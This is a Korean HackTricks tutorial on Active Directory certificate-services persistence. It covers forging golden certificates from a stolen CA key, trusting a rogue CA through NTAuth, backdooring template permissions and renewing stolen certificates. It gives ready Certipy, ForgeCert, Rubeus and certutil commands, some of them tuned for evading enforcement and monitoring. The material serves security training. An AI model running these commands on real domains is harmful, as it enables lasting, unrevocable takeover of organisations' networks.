AD CS 도메인 지속성

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

이 λ¬Έμ„œλŠ” https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf에 곡유된 도메인 지속성 κΈ°λ²•μ˜ μš”μ•½μž…λ‹ˆλ‹€. μžμ„Έν•œ λ‚΄μš©μ€ ν•΄λ‹Ή λ¬Έμ„œλ₯Ό ν™•μΈν•˜μ„Έμš”.

λ„λ‚œλ‹Ήν•œ CA μΈμ¦μ„œλ‘œ μΈμ¦μ„œ μœ„μ‘° (Golden Certificate) - DPERSIST1

μΈμ¦μ„œκ°€ CA μΈμ¦μ„œμΈμ§€ μ–΄λ–»κ²Œ ν™•μΈν•©λ‹ˆκΉŒ?

λ‹€μŒ 쑰건듀이 좩쑱되면 μΈμ¦μ„œκ°€ CA μΈμ¦μ„œμž„μ„ νŒλ‹¨ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  • μΈμ¦μ„œλŠ” CA μ„œλ²„μ— μ €μž₯되며, 개인 ν‚€λŠ” λ¨Έμ‹ μ˜ DPAPI둜 λ³΄ν˜Έλ˜κ±°λ‚˜ μš΄μ˜μ²΄μ œκ°€ μ§€μ›ν•˜λŠ” 경우 TPM/HSMκ³Ό 같은 ν•˜λ“œμ›¨μ–΄μ— μ˜ν•΄ λ³΄ν˜Έλ©λ‹ˆλ‹€.
  • μΈμ¦μ„œμ˜ Issuer 및 Subject ν•„λ“œκ°€ CA의 distinguished nameκ³Ό μΌμΉ˜ν•©λ‹ˆλ‹€.
  • β€œCA Version” ν™•μž₯(extension)은 CA μΈμ¦μ„œμ—λ§Œ μ‘΄μž¬ν•©λ‹ˆλ‹€.
  • μΈμ¦μ„œμ—λŠ” Extended Key Usage (EKU) ν•„λ“œκ°€ μ—†μŠ΅λ‹ˆλ‹€.

이 μΈμ¦μ„œμ˜ 개인 ν‚€λ₯Ό μΆ”μΆœν•˜λŠ” μ§€μ›λ˜λŠ” 방법은 CA μ„œλ²„μ—μ„œ certsrv.msc 도ꡬλ₯Ό 톡해 μ œκ³΅λ˜λŠ” λ‚΄μž₯ GUIμž…λ‹ˆλ‹€. κ·ΈλŸΌμ—λ„ λΆˆκ΅¬ν•˜κ³  이 μΈμ¦μ„œλŠ” μ‹œμŠ€ν…œμ— μ €μž₯된 λ‹€λ₯Έ μΈμ¦μ„œμ™€ λ‹€λ₯΄μ§€ μ•ŠμœΌλ―€λ‘œ, μΆ”μΆœμ—λŠ” THEFT2 technique와 같은 방법을 μ μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μΈμ¦μ„œμ™€ 개인 ν‚€λŠ” λ˜ν•œ Certipyλ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€μŒ λͺ…λ ΉμœΌλ‘œ 얻을 수 μžˆμŠ΅λ‹ˆλ‹€:

certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup

CA μΈμ¦μ„œμ™€ ν•΄λ‹Ή 개인 ν‚€λ₯Ό .pfx ν˜•μ‹μœΌλ‘œ ν™•λ³΄ν•œ ν›„, ForgeCert 같은 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ μœ νš¨ν•œ μΈμ¦μ„œλ₯Ό 생성할 수 μžˆμŠ΅λ‹ˆλ‹€:

# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!

# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'

# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!

# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128

Warning

μΈμ¦μ„œ μœ„μ‘°μ˜ λŒ€μƒ μ‚¬μš©μžλŠ” ν”„λ‘œμ„ΈμŠ€κ°€ μ„±κ³΅ν•˜λ €λ©΄ Active Directoryμ—μ„œ ν™œμ„± μƒνƒœμ΄λ©° 인증할 수 μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€. krbtgt와 같은 특수 계정에 λŒ€ν•œ μΈμ¦μ„œ μœ„μ‘°λŠ” νš¨κ³Όκ°€ μ—†μŠ΅λ‹ˆλ‹€.

이 μœ„μ‘°λœ μΈμ¦μ„œλŠ” μ§€μ •λœ μ’…λ£ŒμΌκΉŒμ§€ μœ νš¨ν•˜λ©° 루트 CA μΈμ¦μ„œκ°€ μœ νš¨ν•œ λ™μ•ˆ(일반적으둜 5λ…„μ—μ„œ 10λ…„ 이상) μœ νš¨ν•©λ‹ˆλ‹€. λ˜ν•œ 머신에도 μœ νš¨ν•˜λ―€λ‘œ, S4U2Self와 κ²°ν•©ν•˜λ©΄ κ³΅κ²©μžλŠ” CA μΈμ¦μ„œκ°€ μœ νš¨ν•œ ν•œ 도메인 λ‚΄ λͺ¨λ“  λ¨Έμ‹ μ—μ„œ 지속성을 μœ μ§€ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
λ˜ν•œ 이 λ°©λ²•μœΌλ‘œ μƒμ„±λœ μΈμ¦μ„œλ“€μ€ CAκ°€ 이λ₯Ό μΈμ§€ν•˜μ§€ λͺ»ν•˜λ―€λ‘œ μ·¨μ†Œλ  수 μ—†μŠ΅λ‹ˆλ‹€.

κ°•λ ₯ν•œ μΈμ¦μ„œ λ§€ν•‘ κ°•μ œν™”(2025+) ν•˜μ—μ„œ μž‘λ™

2025λ…„ 2μ›” 11일(KB5014754 배포 ν›„)λΆ€ν„° 도메인 μ»¨νŠΈλ‘€λŸ¬λŠ” μΈμ¦μ„œ 맀핑에 λŒ€ν•΄ 기본적으둜 Full Enforcementλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. μ‹€μ œλ‘œ μ΄λŠ” μœ„μ‘°ν•œ μΈμ¦μ„œκ°€ λ‹€μŒ 쀑 ν•˜λ‚˜λ₯Ό λ§Œμ‘±ν•΄μ•Ό 함을 μ˜λ―Έν•©λ‹ˆλ‹€:

  • λŒ€μƒ 계정에 λŒ€ν•œ κ°•λ ₯ν•œ 바인딩을 포함(예: SID security extension), λ˜λŠ”
  • λŒ€μƒ 객체의 altSecurityIdentities 속성에 κ°•λ ₯ν•˜κ³  λͺ…μ‹œμ μΈ 맀핑이 μ„€μ •λ˜μ–΄μ•Ό 함.

지속성을 μœ„ν•œ μ‹ λ’°ν•  수 μžˆλŠ” 접근법은 λ„λ‚œλ‹Ήν•œ Enterprise CA에 체인된 μœ„μ‘° μΈμ¦μ„œλ₯Ό λ°œκΈ‰ν•œ λ‹€μŒ ν”Όν•΄μž principal에 κ°•λ ₯ν•œ λͺ…μ‹œμ  맀핑을 μΆ”κ°€ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€:

# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}

μ°Έκ³ 

  • SID λ³΄μ•ˆ ν™•μž₯(SID security extension)을 ν¬ν•¨ν•˜λŠ” μœ„μ‘° μΈμ¦μ„œλ₯Ό λ§Œλ“€ 수 μžˆλ‹€λ©΄, μ΄λŸ¬ν•œ μΈμ¦μ„œλŠ” Full Enforcement ν•˜μ—μ„œλ„ μ•”λ¬΅μ μœΌλ‘œ λ§€ν•‘λ©λ‹ˆλ‹€. κ·Έλ ‡μ§€ μ•ŠμœΌλ©΄ λͺ…μ‹œμ μ΄κ³  κ°•λ ₯ν•œ 맀핑을 μ‚¬μš©ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€. λͺ…μ‹œμ  맀핑에 λŒ€ν•΄μ„œλŠ” account-persistenceλ₯Ό μ°Έμ‘°ν•˜μ„Έμš”.
  • νκΈ°λŠ” μˆ˜λΉ„μžμ—κ²Œ 도움이 λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€: μœ„μ‘°λœ μΈμ¦μ„œλŠ” CA λ°μ΄ν„°λ² μ΄μŠ€μ— μ•Œλ €μ Έ μžˆμ§€ μ•ŠμœΌλ―€λ‘œ 폐기될 수 μ—†μŠ΅λ‹ˆλ‹€.

Full-Enforcement ν˜Έν™˜ μœ„μ‘° (SID-aware)

μ—…λ°μ΄νŠΈλœ λ„κ΅¬λŠ” SIDλ₯Ό 직접 μ‚½μž…ν•  수 있게 ν•΄, DCsκ°€ μ•½ν•œ 맀핑을 κ±°λΆ€ν•  λ•Œμ—λ„ golden certificatesλ₯Ό 계속 μ‚¬μš©ν•  수 있게 ν•©λ‹ˆλ‹€:

# Certify 2.0 integrates ForgeCert and can embed SID
Certify.exe forge --ca-pfx CORP-DC-CA.pfx --ca-pass Password123! \
--upn administrator@corp.local --sid S-1-5-21-1111111111-2222222222-3333333333-500 \
--outfile administrator_sid.pfx

# Certipy also supports SID in forged certs
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local \
-sid S-1-5-21-1111111111-2222222222-3333333333-500 -out administrator_sid.pfx

SIDλ₯Ό ν¬ν•¨ν•˜λ©΄ λͺ¨λ‹ˆν„°λ§λ  수 μžˆλŠ” altSecurityIdentitiesλ₯Ό κ±΄λ“œλ¦¬μ§€ μ•Šμ•„λ„ λ˜λ©΄μ„œλ„ κ°•λ ₯ν•œ λ§€ν•‘ 검사λ₯Ό μΆ©μ‘±ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μ•…μ„± CA μΈμ¦μ„œ μ‹ λ’°ν•˜κΈ° - DPERSIST2

NTAuthCertificates κ°μ²΄λŠ” Active Directory (AD)κ°€ μ‚¬μš©ν•˜λŠ” cacertificate 속성에 ν•˜λ‚˜ μ΄μƒμ˜ CA μΈμ¦μ„œλ₯Ό ν¬ν•¨ν•˜λ„λ‘ μ •μ˜λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. domain controller의 검증 과정은 인증 쀑인 μΈμ¦μ„œμ˜ Issuer ν•„λ“œμ— μ§€μ •λœ CA와 μΌμΉ˜ν•˜λŠ” ν•­λͺ©μ΄ NTAuthCertificates 객체에 μžˆλŠ”μ§€ ν™•μΈν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 일치 ν•­λͺ©μ΄ 있으면 인증이 μ§„ν–‰λ©λ‹ˆλ‹€.

κ³΅κ²©μžκ°€ 이 AD 객체λ₯Ό μ œμ–΄ν•  수 μžˆλ‹€λ©΄, self-signed CA μΈμ¦μ„œλ₯Ό NTAuthCertificates 객체에 μΆ”κ°€ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 일반적으둜 이 객체λ₯Ό μˆ˜μ •ν•  수 μžˆλŠ” κΆŒν•œμ€ Enterprise Admin 그룹의 ꡬ성원과 forest root’s domain의 Domain Admins λ˜λŠ” Administratorsμ—κ²Œλ§Œ λΆ€μ—¬λ©λ‹ˆλ‹€. 그듀은 certutil.exeλ₯Ό μ‚¬μš©ν•˜μ—¬ certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA λͺ…λ ΉμœΌλ‘œ NTAuthCertificates 객체λ₯Ό νŽΈμ§‘ν•˜κ±°λ‚˜, PKI Health Toolλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

이 κΈ°μˆ μ— μœ μš©ν•œ μΆ”κ°€ λͺ…λ Ή:

# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>

# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA

이 κΈ°λŠ₯은 λ™μ μœΌλ‘œ μΈμ¦μ„œλ₯Ό μƒμ„±ν•˜κΈ° μœ„ν•΄ 이전에 μ„€λͺ…ν•œ ForgeCert 방법과 ν•¨κ»˜ μ‚¬μš©ν•  λ•Œ 특히 관련이 μžˆμŠ΅λ‹ˆλ‹€.

Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in altSecurityIdentities). See AD CS Account Persistence.

μ•…μ˜μ  잘λͺ»λœ ꡬ성 - DPERSIST3

AD CS ꡬ성 μš”μ†Œμ— λŒ€ν•œ security descriptor modifications of AD CSλ₯Ό ν†΅ν•œ persistence κΈ°νšŒλŠ” ν’λΆ€ν•©λ‹ˆλ‹€. β€œDomain Escalation” μ„Ήμ…˜μ— μ„€λͺ…λœ μˆ˜μ •μ€ κΆŒν•œμ΄ μƒμŠΉλœ κ³΅κ²©μžκ°€ μ•…μ˜μ μœΌλ‘œ κ΅¬ν˜„ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ—¬κΈ°μ—λŠ” λ―Όκ°ν•œ ꡬ성 μš”μ†Œμ— β€œcontrol rights”(예: WriteOwner/WriteDACL/λ“±)λ₯Ό μΆ”κ°€ν•˜λŠ” 것이 ν¬ν•¨λ©λ‹ˆλ‹€:

  • CA server’s AD computer 객체
  • CA server’s RPC/DCOM server
  • Any descendant AD object or container in CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
  • AD groups delegated rights to control AD CS by default or by the organization (such as the built-in Cert Publishers group and any of its members)

μ•…μ˜μ  κ΅¬ν˜„μ˜ μ˜ˆλ‘œλŠ” λ„λ©”μΈμ—μ„œ elevated permissionsλ₯Ό κ°€μ§„ κ³΅κ²©μžκ°€ κΈ°λ³Έ User μΈμ¦μ„œ ν…œν”Œλ¦Ώμ— WriteOwner κΆŒν•œμ„ μΆ”κ°€ν•˜κ³ , 곡격자λ₯Ό ν•΄λ‹Ή κΆŒν•œμ˜ 주체둜 μ„€μ •ν•˜λŠ” κ²½μš°κ°€ μžˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό μ•…μš©ν•˜λ €λ©΄ κ³΅κ²©μžλŠ” λ¨Όμ € User ν…œν”Œλ¦Ώμ˜ μ†Œμœ μžλ₯Ό μžμ‹ μœΌλ‘œ λ³€κ²½ν•©λ‹ˆλ‹€. κ·Έ λ‹€μŒ ν…œν”Œλ¦Ώμ—μ„œ **mspki-certificate-name-flag**λ₯Ό 1둜 μ„€μ •ν•˜μ—¬ **ENROLLEE_SUPPLIES_SUBJECT**λ₯Ό ν™œμ„±ν™”ν•˜λ©΄ μ‚¬μš©μžκ°€ μš”μ²­μ—μ„œ Subject Alternative Name을 μ œκ³΅ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이후 κ³΅κ²©μžλŠ” template을 μ‚¬μš©ν•΄ enrollν•˜κ³  alternative name으둜 domain administrator 이름을 μ„ νƒν•˜μ—¬ νšλ“ν•œ μΈμ¦μ„œλ₯Ό DAλ‘œμ„œμ˜ 인증에 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μž₯κΈ° 도메인 persistenceλ₯Ό μœ„ν•΄ κ³΅κ²©μžκ°€ μ„€μ •ν•  수 μžˆλŠ” μ‹€μš©μ  μ„€μ •(μžμ„Έν•œ λ‚΄μš© 및 νƒμ§€λŠ” AD CS Domain Escalation μ°Έμ‘°):

  • μš”μ²­μž(requesters)λ‘œλΆ€ν„° SAN을 ν—ˆμš©ν•˜λŠ” CA μ •μ±… ν”Œλž˜κ·Έ (예: EDITF_ATTRIBUTESUBJECTALTNAME2 ν™œμ„±ν™”). μ΄λŠ” ESC1 μœ μ‚¬ 경둜λ₯Ό 계속 μ•…μš© κ°€λŠ₯ν•˜κ²Œ μœ μ§€ν•©λ‹ˆλ‹€.
  • 인증 κ°€λŠ₯ν•œ λ°œκΈ‰μ„ ν—ˆμš©ν•˜λŠ” ν…œν”Œλ¦Ώ DACL λ˜λŠ” μ„€μ •(예: Client Authentication EKU μΆ”κ°€, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ν™œμ„±ν™”).
  • λ°©μ–΄μžκ°€ 정리λ₯Ό μ‹œλ„ν•  경우 μ•…μ„± λ°œκΈ‰μžλ₯Ό μ§€μ†μ μœΌλ‘œ μž¬λ„μž…ν•˜κΈ° μœ„ν•΄ NTAuthCertificates 객체 λ˜λŠ” CA μ»¨ν…Œμ΄λ„ˆλ₯Ό μ œμ–΄.

Tip

In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (altSecurityIdentities) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.

μΈμ¦μ„œ κ°±μ‹  λ‚¨μš© (ESC14) for persistence

authentication-capable certificate(λ˜λŠ” Enrollment Agent μΈμ¦μ„œ)λ₯Ό νƒˆμ·¨ν•˜λ©΄, λ°œκΈ‰ ν…œν”Œλ¦Ώμ΄ 계속 κ²Œμ‹œλ˜μ–΄ 있고 κ·€ν•˜μ˜ CAκ°€ μ—¬μ „νžˆ λ°œκΈ‰μž 체인을 μ‹ λ’°ν•˜λŠ” ν•œ ν•΄λ‹Ή μΈμ¦μ„œλ₯Ό renew it indefinitely ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 갱신은 μ›λž˜μ˜ 신원 바인딩을 μœ μ§€ν•˜λ©΄μ„œ μœ νš¨κΈ°κ°„μ„ μ—°μž₯ν•˜λ―€λ‘œ ν…œν”Œλ¦Ώμ΄ μˆ˜μ •λ˜κ±°λ‚˜ CAκ°€ μž¬κ²Œμ‹œλ˜μ§€ μ•ŠλŠ” ν•œ 퇴거(eviction)κ°€ μ–΄λ €μ›Œμ§‘λ‹ˆλ‹€.

# Renew a stolen user cert to extend validity
certipy req -ca CORP-DC-CA -template User -pfx stolen_user.pfx -renew -out user_renewed_2026.pfx

# Renew an on-behalf-of cert issued via an Enrollment Agent
certipy req -ca CORP-DC-CA -on-behalf-of 'CORP/victim' -pfx agent.pfx -renew -out victim_renewed.pfx

도메인 μ»¨νŠΈλ‘€λŸ¬κ°€ Full Enforcement μƒνƒœμΌ 경우, κ°±μ‹ λœ 리프 μΈμ¦μ„œκ°€ altSecurityIdentitiesλ₯Ό κ±΄λ“œλ¦¬μ§€ μ•Šκ³ λ„ κ³„μ†ν•΄μ„œ κ°•ν•œ 맀핑을 μœ μ§€ν•˜λ„λ‘ -sid <victim SID>λ₯Ό μΆ”κ°€ν•˜κ±°λ‚˜ SID λ³΄μ•ˆ ν™•μž₯을 ν¬ν•¨ν•˜λŠ” ν…œν”Œλ¦Ώμ„ μ‚¬μš©ν•˜μ„Έμš”. CA κ΄€λ¦¬μž κΆŒν•œμ„ κ°€μ§„ κ³΅κ²©μžλŠ” λ˜ν•œ 슀슀둜 certλ₯Ό λ°œκΈ‰ν•˜κΈ° 전에 policy\RenewalValidityPeriodUnits 값을 μ‘°μ •ν•˜μ—¬ κ°±μ‹ λœ μœ νš¨κΈ°κ°„μ„ 늘릴 수 μžˆμŠ΅λ‹ˆλ‹€.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°